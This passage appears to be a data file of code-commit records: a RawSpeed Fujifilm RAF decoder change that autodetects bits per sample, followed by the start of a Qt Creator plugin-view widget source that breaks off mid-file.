{"text":"<commit_before>\/*\n    RawSpeed - RAW file decoder.\n\n    Copyright (C) 2009-2014 Klaus Post\n    Copyright (C) 2014-2015 Pedro Côrte-Real\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\n#include \"decoders\/RafDecoder.h\"\n#include \"common\/Common.h\"                          \/\/ for uint32, ushort16\n#include \"common\/Point.h\"                           \/\/ for iPoint2D, iRecta...\n#include \"decoders\/RawDecoderException.h\"           \/\/ for RawDecoderExcept...\n#include \"decompressors\/UncompressedDecompressor.h\" \/\/ for UncompressedDeco...\n#include \"io\/Buffer.h\"                              \/\/ for Buffer\n#include \"io\/ByteStream.h\"                          \/\/ for ByteStream\n#include \"io\/Endianness.h\"                          \/\/ for getHostEndianness\n#include \"metadata\/BlackArea.h\"                     \/\/ for BlackArea\n#include \"metadata\/Camera.h\"                        \/\/ for Camera, Hints\n#include \"metadata\/CameraMetaData.h\"                \/\/ for CameraMetaData\n#include \"metadata\/CameraSensorInfo.h\"              \/\/ for CameraSensorInfo\n#include \"metadata\/ColorFilterArray.h\"              \/\/ for ColorFilterArray\n#include \"tiff\/TiffEntry.h\"                         \/\/ for TiffEntry\n#include \"tiff\/TiffIFD.h\"                           \/\/ for TiffRootIFD, Tif...\n#include \"tiff\/TiffTag.h\"                           \/\/ for TiffTag::FUJIOLDWB\n#include <cassert>                                  \/\/ for assert\n#include <cstdio>                                   \/\/ for size_t\n#include <cstring>                                  \/\/ for memcmp\n#include <memory>                                   \/\/ for unique_ptr, allo...\n#include <string>                                   \/\/ for string\n#include <vector>                                   \/\/ for vector\n\nnamespace rawspeed {\n\nbool RafDecoder::isRAF(const Buffer* input) {\n  static const char magic[] = \"FUJIFILMCCD-RAW \";\n  static const size_t magic_size = sizeof(magic) - 1; \/\/ excluding \\0\n  const unsigned char* data = input->getData(0, magic_size);\n  return 0 == memcmp(&data[0], magic, magic_size);\n}\n\nbool RafDecoder::isAppropriateDecoder(const TiffRootIFD* rootIFD,\n                                      const Buffer* file) {\n  const auto id = rootIFD->getID();\n  const std::string& make = id.make;\n\n  \/\/ FIXME: magic\n\n  return make == \"FUJIFILM\";\n}\n\nRawImage RafDecoder::decodeRawInternal() {\n  auto raw = mRootIFD->getIFDWithTag(FUJI_STRIPOFFSETS);\n  uint32 height = 0;\n  uint32 width = 0;\n\n  if (raw->hasEntry(FUJI_RAWIMAGEFULLHEIGHT)) {\n    height = raw->getEntry(FUJI_RAWIMAGEFULLHEIGHT)->getU32();\n    width = raw->getEntry(FUJI_RAWIMAGEFULLWIDTH)->getU32();\n  } else if (raw->hasEntry(IMAGEWIDTH)) {\n    TiffEntry *e = raw->getEntry(IMAGEWIDTH);\n    height = e->getU16(0);\n    width = e->getU16(1);\n  } else\n    ThrowRDE(\"Unable to locate image size\");\n\n  if (raw->hasEntry(FUJI_LAYOUT)) {\n    TiffEntry *e = raw->getEntry(FUJI_LAYOUT);\n    alt_layout = !(e->getByte(0) >> 7);\n  }\n\n  TiffEntry *offsets = raw->getEntry(FUJI_STRIPOFFSETS);\n  TiffEntry *counts = raw->getEntry(FUJI_STRIPBYTECOUNTS);\n\n  if (offsets->count != 1 || counts->count != 1)\n    ThrowRDE(\"Multiple Strips found: %u %u\", offsets->count, counts->count);\n\n  if (counts->getU32() * 8 \/ (width * height) < 10)\n    ThrowRDE(\"Don't know how to decode compressed images\");\n\n  int bps = 16;\n  if (raw->hasEntry(FUJI_BITSPERSAMPLE))\n    bps = raw->getEntry(FUJI_BITSPERSAMPLE)->getU32();\n\n  ByteStream input(offsets->getRootIfdData());\n  input = input.getSubStream(offsets->getU32(), counts->getU32());\n\n  \/\/ x-trans sensors report 14bpp, but data isn't packed so read as 16bpp\n  if (bps == 14)\n    bps = 16;\n\n  \/\/ Some fuji SuperCCD cameras include a second raw image next to the first one\n  \/\/ that is identical but darker to the first. The two combined can produce\n  \/\/ a higher dynamic range image. Right now we're ignoring it.\n  bool double_width = hints.has(\"double_width_unpacked\");\n\n  mRaw->dim = iPoint2D(width*(double_width ? 2 : 1), height);\n  mRaw->createData();\n\n  UncompressedDecompressor u(input, mRaw);\n\n  iPoint2D pos(0, 0);\n\n  if (double_width) {\n    u.decodeRawUnpacked<16, little>(width * 2, height);\n  } else if (input.isInNativeByteOrder() == (getHostEndianness() == big)) {\n    u.decodeRawUnpacked<16, big>(width, height);\n  } else {\n    if (hints.has(\"jpeg32_bitorder\")) {\n      u.readUncompressedRaw(mRaw->dim, pos, width * bps \/ 8, bps,\n                            BitOrder_MSB32);\n    } else {\n      u.readUncompressedRaw(mRaw->dim, pos, width * bps \/ 8, bps, BitOrder_LSB);\n    }\n  }\n\n  return mRaw;\n}\n\nvoid RafDecoder::checkSupportInternal(const CameraMetaData* meta) {\n  if (!this->checkCameraSupported(meta, mRootIFD->getID(), \"\"))\n    ThrowRDE(\"Unknown camera. Will not guess.\");\n}\n\nvoid RafDecoder::decodeMetaDataInternal(const CameraMetaData* meta) {\n  int iso = 0;\n  if (mRootIFD->hasEntryRecursive(ISOSPEEDRATINGS))\n    iso = mRootIFD->getEntryRecursive(ISOSPEEDRATINGS)->getU32();\n  mRaw->metadata.isoSpeed = iso;\n\n  \/\/ This is where we'd normally call setMetaData but since we may still need\n  \/\/ to rotate the image for SuperCCD cameras we do everything ourselves\n  auto id = mRootIFD->getID();\n  const Camera* cam = meta->getCamera(id.make, id.model, \"\");\n  if (!cam)\n    ThrowRDE(\"Couldn't find camera\");\n\n  assert(cam != nullptr);\n\n  iPoint2D new_size(mRaw->dim);\n  iPoint2D crop_offset = iPoint2D(0,0);\n\n  if (applyCrop) {\n    new_size = cam->cropSize;\n    crop_offset = cam->cropPos;\n    bool double_width = hints.has(\"double_width_unpacked\");\n    \/\/ If crop size is negative, use relative cropping\n    if (new_size.x <= 0)\n      new_size.x = mRaw->dim.x \/ (double_width ? 2 : 1) - cam->cropPos.x + new_size.x;\n    else\n      new_size.x \/= (double_width ? 2 : 1);\n    if (new_size.y <= 0)\n      new_size.y = mRaw->dim.y - cam->cropPos.y + new_size.y;\n  }\n\n  bool rotate = hints.has(\"fuji_rotate\");\n  rotate = rotate && fujiRotate;\n\n  \/\/ Rotate 45 degrees - could be multithreaded.\n  if (rotate && !this->uncorrectedRawValues) {\n    \/\/ Calculate the 45 degree rotated size;\n    uint32 rotatedsize;\n    uint32 rotationPos;\n    if (alt_layout) {\n      rotatedsize = new_size.y+new_size.x\/2;\n      rotationPos = new_size.x\/2 - 1;\n    }\n    else {\n      rotatedsize = new_size.x+new_size.y\/2;\n      rotationPos = new_size.x - 1;\n    }\n\n    iPoint2D final_size(rotatedsize, rotatedsize-1);\n    RawImage rotated = RawImage::create(final_size, TYPE_USHORT16, 1);\n    rotated->clearArea(iRectangle2D(iPoint2D(0,0), rotated->dim));\n    rotated->metadata = mRaw->metadata;\n    rotated->metadata.fujiRotationPos = rotationPos;\n\n    int dest_pitch = static_cast<int>(rotated->pitch) \/ 2;\n    auto* dst = reinterpret_cast<ushort16*>(rotated->getData(0, 0));\n\n    for (int y = 0; y < new_size.y; y++) {\n      auto* src = reinterpret_cast<ushort16*>(\n          mRaw->getData(crop_offset.x, crop_offset.y + y));\n      for (int x = 0; x < new_size.x; x++) {\n        int h;\n        int w;\n        if (alt_layout) { \/\/ Swapped x and y\n          h = rotatedsize - (new_size.y + 1 - y + (x >> 1));\n          w = ((x+1) >> 1) + y;\n        } else {\n          h = new_size.x - 1 - x + (y >> 1);\n          w = ((y+1) >> 1) + x;\n        }\n        if (h < rotated->dim.y && w < rotated->dim.x)\n          dst[w + h * dest_pitch] = src[x];\n        else\n          ThrowRDE(\"Trying to write out of bounds\");\n      }\n    }\n    mRaw = rotated;\n  } else if (applyCrop) {\n    mRaw->subFrame(iRectangle2D(crop_offset, new_size));\n  }\n\n  const CameraSensorInfo *sensor = cam->getSensorInfo(iso);\n  mRaw->blackLevel = sensor->mBlackLevel;\n\n  \/\/ at least the (bayer sensor) X100 comes with a tag like this:\n  if (mRootIFD->hasEntryRecursive(FUJI_BLACKLEVEL)) {\n    TiffEntry* sep_black = mRootIFD->getEntryRecursive(FUJI_BLACKLEVEL);\n    if (sep_black->count == 4)\n    {\n      for(int k=0;k<4;k++)\n        mRaw->blackLevelSeparate[k] = sep_black->getU32(k);\n    } else if (sep_black->count == 36) {\n      for (int& k : mRaw->blackLevelSeparate)\n        k = 0;\n\n      for (int y = 0; y < 6; y++) {\n        for (int x = 0; x < 6; x++)\n          mRaw->blackLevelSeparate[2 * (y % 2) + (x % 2)] +=\n              sep_black->getU32(6 * y + x);\n      }\n\n      for (int& k : mRaw->blackLevelSeparate)\n        k \/= 9;\n    }\n  }\n\n  mRaw->whitePoint = sensor->mWhiteLevel;\n  mRaw->blackAreas = cam->blackAreas;\n  mRaw->cfa = cam->cfa;\n  mRaw->metadata.canonical_make = cam->canonical_make;\n  mRaw->metadata.canonical_model = cam->canonical_model;\n  mRaw->metadata.canonical_alias = cam->canonical_alias;\n  mRaw->metadata.canonical_id = cam->canonical_id;\n  mRaw->metadata.make = id.make;\n  mRaw->metadata.model = id.model;\n\n  if (mRootIFD->hasEntryRecursive(FUJI_WB_GRBLEVELS)) {\n    TiffEntry *wb = mRootIFD->getEntryRecursive(FUJI_WB_GRBLEVELS);\n    if (wb->count == 3) {\n      mRaw->metadata.wbCoeffs[0] = wb->getFloat(1);\n      mRaw->metadata.wbCoeffs[1] = wb->getFloat(0);\n      mRaw->metadata.wbCoeffs[2] = wb->getFloat(2);\n    }\n  } else if (mRootIFD->hasEntryRecursive(FUJIOLDWB)) {\n    TiffEntry *wb = mRootIFD->getEntryRecursive(FUJIOLDWB);\n    if (wb->count == 8) {\n      mRaw->metadata.wbCoeffs[0] = wb->getFloat(1);\n      mRaw->metadata.wbCoeffs[1] = wb->getFloat(0);\n      mRaw->metadata.wbCoeffs[2] = wb->getFloat(3);\n    }\n  }\n}\n\n} \/\/ namespace rawspeed\n<commit_msg>RafDecoder: autodetect bps. Better than adjusting it sometimes.<commit_after>\/*\n    RawSpeed - RAW file decoder.\n\n    Copyright (C) 2009-2014 Klaus Post\n    Copyright (C) 2014-2015 Pedro Côrte-Real\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\n#include \"decoders\/RafDecoder.h\"\n#include \"common\/Common.h\"                          \/\/ for uint32, ushort16\n#include \"common\/Point.h\"                           \/\/ for iPoint2D, iRecta...\n#include \"decoders\/RawDecoderException.h\"           \/\/ for RawDecoderExcept...\n#include \"decompressors\/UncompressedDecompressor.h\" \/\/ for UncompressedDeco...\n#include \"io\/Buffer.h\"                              \/\/ for Buffer\n#include \"io\/ByteStream.h\"                          \/\/ for ByteStream\n#include \"io\/Endianness.h\"                          \/\/ for getHostEndianness\n#include \"metadata\/BlackArea.h\"                     \/\/ for BlackArea\n#include \"metadata\/Camera.h\"                        \/\/ for Camera, Hints\n#include \"metadata\/CameraMetaData.h\"                \/\/ for CameraMetaData\n#include \"metadata\/CameraSensorInfo.h\"              \/\/ for CameraSensorInfo\n#include \"metadata\/ColorFilterArray.h\"              \/\/ for ColorFilterArray\n#include \"tiff\/TiffEntry.h\"                         \/\/ for TiffEntry\n#include \"tiff\/TiffIFD.h\"                           \/\/ for TiffRootIFD, Tif...\n#include \"tiff\/TiffTag.h\"                           \/\/ for TiffTag::FUJIOLDWB\n#include <cassert>                                  \/\/ for assert\n#include <cstdio>                                   \/\/ for size_t\n#include <cstring>                                  \/\/ for memcmp\n#include <memory>                                   \/\/ for unique_ptr, allo...\n#include <string>                                   \/\/ for string\n#include <vector>                                   \/\/ for vector\n\nnamespace rawspeed {\n\nbool RafDecoder::isRAF(const Buffer* input) {\n  static const char magic[] = \"FUJIFILMCCD-RAW \";\n  static const size_t magic_size = sizeof(magic) - 1; \/\/ excluding \\0\n  const unsigned char* data = input->getData(0, magic_size);\n  return 0 == memcmp(&data[0], magic, magic_size);\n}\n\nbool RafDecoder::isAppropriateDecoder(const TiffRootIFD* rootIFD,\n                                      const Buffer* file) {\n  const auto id = rootIFD->getID();\n  const std::string& make = id.make;\n\n  \/\/ FIXME: magic\n\n  return make == \"FUJIFILM\";\n}\n\nRawImage RafDecoder::decodeRawInternal() {\n  auto raw = mRootIFD->getIFDWithTag(FUJI_STRIPOFFSETS);\n  uint32 height = 0;\n  uint32 width = 0;\n\n  if (raw->hasEntry(FUJI_RAWIMAGEFULLHEIGHT)) {\n    height = raw->getEntry(FUJI_RAWIMAGEFULLHEIGHT)->getU32();\n    width = raw->getEntry(FUJI_RAWIMAGEFULLWIDTH)->getU32();\n  } else if (raw->hasEntry(IMAGEWIDTH)) {\n    TiffEntry *e = raw->getEntry(IMAGEWIDTH);\n    height = e->getU16(0);\n    width = e->getU16(1);\n  } else\n    ThrowRDE(\"Unable to locate image size\");\n\n  if (raw->hasEntry(FUJI_LAYOUT)) {\n    TiffEntry *e = raw->getEntry(FUJI_LAYOUT);\n    alt_layout = !(e->getByte(0) >> 7);\n  }\n\n  TiffEntry *offsets = raw->getEntry(FUJI_STRIPOFFSETS);\n  TiffEntry *counts = raw->getEntry(FUJI_STRIPBYTECOUNTS);\n\n  if (offsets->count != 1 || counts->count != 1)\n    ThrowRDE(\"Multiple Strips found: %u %u\", offsets->count, counts->count);\n\n  if (counts->getU32() * 8 \/ (width * height) < 10)\n    ThrowRDE(\"Don't know how to decode compressed images\");\n\n  ByteStream input(offsets->getRootIfdData());\n  input = input.getSubStream(offsets->getU32(), counts->getU32());\n\n  \/\/ x-trans sensors report 14bpp, but data isn't packed\n  \/\/ thus, unless someone has any better ideas, let's autodetect it.\n  int bps;\n\n  \/\/ Some fuji SuperCCD cameras include a second raw image next to the first one\n  \/\/ that is identical but darker to the first. The two combined can produce\n  \/\/ a higher dynamic range image. Right now we're ignoring it.\n  bool double_width;\n\n  if (8UL * counts->getU32() >= 2UL * 16UL * width * height) {\n    bps = 16;\n    double_width = true;\n  } else if (8UL * counts->getU32() >= 2UL * 14UL * width * height) {\n    bps = 14;\n    double_width = true;\n  } else if (8UL * counts->getU32() >= 2UL * 12UL * width * height) {\n    bps = 12;\n    double_width = true;\n  } else if (8UL * counts->getU32() >= 16UL * width * height) {\n    bps = 16;\n    double_width = false;\n  } else if (8UL * counts->getU32() >= 14UL * width * height) {\n    bps = 14;\n    double_width = false;\n  } else if (8UL * counts->getU32() >= 12UL * width * height) {\n    bps = 12;\n    double_width = false;\n  } else\n    ThrowRDE(\"Can not detect bitdepth. StripByteCounts = %u, width = %u, \"\n             \"height = %u\",\n             counts->getU32(), width, height);\n\n  double_width = hints.has(\"double_width_unpacked\");\n  const uint32 real_width = double_width ? 2U * width : width;\n\n  mRaw->dim = iPoint2D(real_width, height);\n  mRaw->createData();\n\n  UncompressedDecompressor u(input, mRaw);\n\n  iPoint2D pos(0, 0);\n\n  if (double_width) {\n    u.decodeRawUnpacked<16, little>(width * 2, height);\n  } else if (input.isInNativeByteOrder() == (getHostEndianness() == big)) {\n    u.decodeRawUnpacked<16, big>(width, height);\n  } else {\n    if (hints.has(\"jpeg32_bitorder\")) {\n      u.readUncompressedRaw(mRaw->dim, pos, width * bps \/ 8, bps,\n                            BitOrder_MSB32);\n    } else {\n      u.readUncompressedRaw(mRaw->dim, pos, width * bps \/ 8, bps, BitOrder_LSB);\n    }\n  }\n\n  return mRaw;\n}\n\nvoid RafDecoder::checkSupportInternal(const CameraMetaData* meta) {\n  if (!this->checkCameraSupported(meta, mRootIFD->getID(), \"\"))\n    ThrowRDE(\"Unknown camera. Will not guess.\");\n}\n\nvoid RafDecoder::decodeMetaDataInternal(const CameraMetaData* meta) {\n  int iso = 0;\n  if (mRootIFD->hasEntryRecursive(ISOSPEEDRATINGS))\n    iso = mRootIFD->getEntryRecursive(ISOSPEEDRATINGS)->getU32();\n  mRaw->metadata.isoSpeed = iso;\n\n  \/\/ This is where we'd normally call setMetaData but since we may still need\n  \/\/ to rotate the image for SuperCCD cameras we do everything ourselves\n  auto id = mRootIFD->getID();\n  const Camera* cam = meta->getCamera(id.make, id.model, \"\");\n  if (!cam)\n    ThrowRDE(\"Couldn't find camera\");\n\n  assert(cam != nullptr);\n\n  iPoint2D new_size(mRaw->dim);\n  iPoint2D crop_offset = iPoint2D(0,0);\n\n  if (applyCrop) {\n    new_size = cam->cropSize;\n    crop_offset = cam->cropPos;\n    bool double_width = hints.has(\"double_width_unpacked\");\n    \/\/ If crop size is negative, use relative cropping\n    if (new_size.x <= 0)\n      new_size.x = mRaw->dim.x \/ (double_width ? 2 : 1) - cam->cropPos.x + new_size.x;\n    else\n      new_size.x \/= (double_width ? 2 : 1);\n    if (new_size.y <= 0)\n      new_size.y = mRaw->dim.y - cam->cropPos.y + new_size.y;\n  }\n\n  bool rotate = hints.has(\"fuji_rotate\");\n  rotate = rotate && fujiRotate;\n\n  \/\/ Rotate 45 degrees - could be multithreaded.\n  if (rotate && !this->uncorrectedRawValues) {\n    \/\/ Calculate the 45 degree rotated size;\n    uint32 rotatedsize;\n    uint32 rotationPos;\n    if (alt_layout) {\n      rotatedsize = new_size.y+new_size.x\/2;\n      rotationPos = new_size.x\/2 - 1;\n    }\n    else {\n      rotatedsize = new_size.x+new_size.y\/2;\n      rotationPos = new_size.x - 1;\n    }\n\n    iPoint2D final_size(rotatedsize, rotatedsize-1);\n    RawImage rotated = RawImage::create(final_size, TYPE_USHORT16, 1);\n    rotated->clearArea(iRectangle2D(iPoint2D(0,0), rotated->dim));\n    rotated->metadata = mRaw->metadata;\n    rotated->metadata.fujiRotationPos = rotationPos;\n\n    int dest_pitch = static_cast<int>(rotated->pitch) \/ 2;\n    auto* dst = reinterpret_cast<ushort16*>(rotated->getData(0, 0));\n\n    for (int y = 0; y < new_size.y; y++) {\n      auto* src = reinterpret_cast<ushort16*>(\n          mRaw->getData(crop_offset.x, crop_offset.y + y));\n      for (int x = 0; x < new_size.x; x++) {\n        int h;\n        int w;\n        if (alt_layout) { \/\/ Swapped x and y\n          h = rotatedsize - (new_size.y + 1 - y + (x >> 1));\n          w = ((x+1) >> 1) + y;\n        } else {\n          h = new_size.x - 1 - x + (y >> 1);\n          w = ((y+1) >> 1) + x;\n        }\n        if (h < rotated->dim.y && w < rotated->dim.x)\n          dst[w + h * dest_pitch] = src[x];\n        else\n          ThrowRDE(\"Trying to write out of bounds\");\n      }\n    }\n    mRaw = rotated;\n  } else if (applyCrop) {\n    mRaw->subFrame(iRectangle2D(crop_offset, new_size));\n  }\n\n  const CameraSensorInfo *sensor = cam->getSensorInfo(iso);\n  mRaw->blackLevel = sensor->mBlackLevel;\n\n  \/\/ at least the (bayer sensor) X100 comes with a tag like this:\n  if (mRootIFD->hasEntryRecursive(FUJI_BLACKLEVEL)) {\n    TiffEntry* sep_black = mRootIFD->getEntryRecursive(FUJI_BLACKLEVEL);\n    if (sep_black->count == 4)\n    {\n      for(int k=0;k<4;k++)\n        mRaw->blackLevelSeparate[k] = sep_black->getU32(k);\n    } else if (sep_black->count == 36) {\n      for (int& k : mRaw->blackLevelSeparate)\n        k = 0;\n\n      for (int y = 0; y < 6; y++) {\n        for (int x = 0; x < 6; x++)\n          mRaw->blackLevelSeparate[2 * (y % 2) + (x % 2)] +=\n              sep_black->getU32(6 * y + x);\n      }\n\n      for (int& k : mRaw->blackLevelSeparate)\n        k \/= 9;\n    }\n  }\n\n  mRaw->whitePoint = sensor->mWhiteLevel;\n  mRaw->blackAreas = cam->blackAreas;\n  mRaw->cfa = cam->cfa;\n  mRaw->metadata.canonical_make = cam->canonical_make;\n  mRaw->metadata.canonical_model = cam->canonical_model;\n  mRaw->metadata.canonical_alias = cam->canonical_alias;\n  mRaw->metadata.canonical_id = cam->canonical_id;\n  mRaw->metadata.make = id.make;\n  mRaw->metadata.model = id.model;\n\n  if (mRootIFD->hasEntryRecursive(FUJI_WB_GRBLEVELS)) {\n    TiffEntry *wb = mRootIFD->getEntryRecursive(FUJI_WB_GRBLEVELS);\n    if (wb->count == 3) {\n      mRaw->metadata.wbCoeffs[0] = wb->getFloat(1);\n      mRaw->metadata.wbCoeffs[1] = wb->getFloat(0);\n      mRaw->metadata.wbCoeffs[2] = wb->getFloat(2);\n    }\n  } else if (mRootIFD->hasEntryRecursive(FUJIOLDWB)) {\n    TiffEntry *wb = mRootIFD->getEntryRecursive(FUJIOLDWB);\n    if (wb->count == 8) {\n      mRaw->metadata.wbCoeffs[0] = wb->getFloat(1);\n      mRaw->metadata.wbCoeffs[1] = wb->getFloat(0);\n      mRaw->metadata.wbCoeffs[2] = wb->getFloat(3);\n    }\n  }\n}\n\n} \/\/ namespace rawspeed\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"pluginview.h\"\n#include \"pluginview_p.h\"\n#include \"pluginmanager.h\"\n#include \"pluginspec.h\"\n#include \"plugincollection.h\"\n#include \"ui_pluginview.h\"\n\n#include <QtCore\/QDir>\n#include <QtGui\/QHeaderView>\n#include <QtGui\/QTreeWidgetItem>\n#include <QtGui\/QPalette>\n\n#include <QtDebug>\n\n\/*!\n    \\class ExtensionSystem::PluginView\n    \\brief Widget that shows a list of all plugins and their state.\n\n    This can be embedded e.g. in a dialog in the application that\n    uses the plugin manager.\n    The class also provides notifications for interactions with the list.\n\n    \\sa ExtensionSystem::PluginDetailsView\n    \\sa ExtensionSystem::PluginErrorView\n*\/\n\n\/*!\n    \\fn void PluginView::currentPluginChanged(ExtensionSystem::PluginSpec *spec)\n    The current selection in the plugin list has changed to the\n    plugin corresponding to \\a spec.\n*\/\n\n\/*!\n    \\fn void PluginView::pluginActivated(ExtensionSystem::PluginSpec *spec)\n    The plugin list entry corresponding to \\a spec has been activated,\n    e.g. by a double-click.\n*\/\n\nusing namespace ExtensionSystem;\n\nQ_DECLARE_METATYPE(ExtensionSystem::PluginSpec*);\nQ_DECLARE_METATYPE(ExtensionSystem::PluginCollection*);\n\n\/*!\n    \\fn PluginView::PluginView(PluginManager *manager, QWidget *parent)\n    Constructs a PluginView that gets the list of plugins from the\n    given plugin \\a manager with a given \\a parent widget.\n*\/\nPluginView::PluginView(PluginManager *manager, QWidget *parent)\n    : QWidget(parent),\n      m_ui(new Internal::Ui::PluginView),\n      p(new Internal::PluginViewPrivate),\n      m_allowCheckStateUpdate(true),\n      C_LOAD(1)\n{\n    m_ui->setupUi(this);\n    QHeaderView *header = m_ui->categoryWidget->header();\n    header->setResizeMode(0, QHeaderView::ResizeToContents);\n    header->setResizeMode(2, QHeaderView::ResizeToContents);\n\n    m_okIcon = QIcon(QLatin1String(\":\/extensionsystem\/images\/ok.png\"));\n    m_errorIcon = QIcon(QLatin1String(\":\/extensionsystem\/images\/error.png\"));\n    m_notLoadedIcon = QIcon(QLatin1String(\":\/extensionsystem\/images\/notloaded.png\"));\n\n    m_ui->categoryWidget->setColumnWidth(C_LOAD, 40);\n\n    \/\/ cannot disable these\n    m_whitelist << QString(\"Core\") << QString(\"Locator\")\n                << QString(\"Find\") << QString(\"TextEditor\");\n\n    p->manager = manager;\n    connect(p->manager, SIGNAL(pluginsChanged()), this, SLOT(updateList()));\n    connect(m_ui->categoryWidget, SIGNAL(currentItemChanged(QTreeWidgetItem*,QTreeWidgetItem*)),\n            this, SLOT(selectPlugin(QTreeWidgetItem*)));\n    connect(m_ui->categoryWidget, SIGNAL(itemActivated(QTreeWidgetItem*,int)),\n            this, SLOT(activatePlugin(QTreeWidgetItem*)));\n\n    updateList();\n}\n\n\/*!\n    \\fn PluginView::~PluginView()\n    \\internal\n*\/\nPluginView::~PluginView()\n{\n    delete p;\n    delete m_ui;\n}\n\n\/*!\n    \\fn PluginSpec *PluginView::currentPlugin() const\n    Returns the current selection in the list of plugins.\n*\/\nPluginSpec *PluginView::currentPlugin() const\n{\n    if (!m_ui->categoryWidget->currentItem())\n        return 0;\n    if (!m_ui->categoryWidget->currentItem()->data(0, Qt::UserRole).isNull())\n        return m_ui->categoryWidget->currentItem()->data(0, Qt::UserRole).value<PluginSpec *>();\n    return 0;\n}\n\nvoid PluginView::updateList()\n{\n    connect(m_ui->categoryWidget, SIGNAL(itemChanged(QTreeWidgetItem*,int)),\n            this, SLOT(updatePluginSettings(QTreeWidgetItem*, int)));\n\n    PluginCollection *defaultCollection = 0;\n    foreach(PluginCollection *collection, p->manager->pluginCollections()) {\n        if (collection->name().isEmpty()) {\n            defaultCollection = collection;\n            continue;\n        }\n        \/\/ State, name, load, version, vendor.\n        QTreeWidgetItem *collectionItem = new QTreeWidgetItem(QStringList()\n            << collection->name()\n            << QString()    \/\/ state\n            << QString()    \/\/ load\n            << QString()    \/\/ version\n            << QString());  \/\/ vendor\n        m_items.append(collectionItem);\n\n        Qt::CheckState groupState = Qt::Unchecked;\n        int state = parsePluginSpecs(collectionItem, groupState, collection->plugins());\n\n        collectionItem->setIcon(0, iconForState(state));\n        collectionItem->setData(C_LOAD, Qt::CheckStateRole, QVariant(groupState));\n        collectionItem->setToolTip(C_LOAD, tr(\"Load on Startup\"));\n        collectionItem->setData(0, Qt::UserRole, qVariantFromValue(collection));\n    }\n\n    \/\/ add all non-categorized plugins into utilities. could also be added as root items\n    \/\/ but that makes the tree ugly.\n    QTreeWidgetItem *defaultCollectionItem = new QTreeWidgetItem(QStringList()\n        << QString(tr(\"Utilities\"))\n        << QString()\n        << QString()\n        << QString()\n        << QString());\n\n    m_items.append(defaultCollectionItem);\n    Qt::CheckState groupState = Qt::Unchecked;\n    int state = parsePluginSpecs(defaultCollectionItem, groupState, defaultCollection->plugins());\n\n    defaultCollectionItem->setIcon(0, iconForState(state));\n    defaultCollectionItem->setData(C_LOAD, Qt::CheckStateRole, QVariant(groupState));\n    defaultCollectionItem->setToolTip(C_LOAD, tr(\"Load on Startup\"));\n    defaultCollectionItem->setData(0, Qt::UserRole, qVariantFromValue(defaultCollection));\n\n    updatePluginDependencies();\n\n    m_ui->categoryWidget->clear();\n    if (!m_items.isEmpty()) {\n        m_ui->categoryWidget->addTopLevelItems(m_items);\n        m_ui->categoryWidget->expandAll();\n    }\n\n    m_ui->categoryWidget->sortItems(0, Qt::AscendingOrder);\n    if (m_ui->categoryWidget->topLevelItemCount())\n        m_ui->categoryWidget->setCurrentItem(m_ui->categoryWidget->topLevelItem(0));\n}\n\nint PluginView::parsePluginSpecs(QTreeWidgetItem *parentItem, Qt::CheckState &groupState, QList<PluginSpec*> plugins)\n{\n    int ret = 0;\n    int loadCount = 0;\n\n    for (int i = 0; i < plugins.length(); ++i) {\n        PluginSpec *spec = plugins[i];\n        if (spec->hasError())\n            ret |= ParsedWithErrors;\n\n        QTreeWidgetItem *pluginItem = new QTreeWidgetItem(QStringList()\n            << spec->name()\n            << QString()    \/\/ load on startup\n            << QString::fromLatin1(\"%1 (%2)\").arg(spec->version(), spec->compatVersion())\n            << spec->vendor());\n\n        pluginItem->setToolTip(0, QDir::toNativeSeparators(spec->filePath()));\n        bool ok = !spec->hasError();\n        QIcon icon = ok ? m_okIcon : m_errorIcon;\n        if (ok && (spec->state() != PluginSpec::Running))\n            icon = m_notLoadedIcon;\n\n        pluginItem->setIcon(0, icon);\n        pluginItem->setData(0, Qt::UserRole, qVariantFromValue(spec));\n\n        Qt::CheckState state = Qt::Unchecked;\n        if (spec->isEnabled()) {\n            state = Qt::Checked;\n            ++loadCount;\n        }\n\n        if (!m_whitelist.contains(spec->name()))\n            pluginItem->setData(C_LOAD, Qt::CheckStateRole, state);\n        else {\n            QColor disabledColor = palette().color(QPalette::Disabled,QPalette::WindowText).lighter(120);\n            pluginItem->setData(C_LOAD, Qt::CheckStateRole, Qt::Checked);\n            pluginItem->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);\n            pluginItem->setSizeHint(C_LOAD, QSize(1,1));\n            pluginItem->setForeground(C_LOAD, QBrush(disabledColor)); \/\/ QBrush(Qt::white, 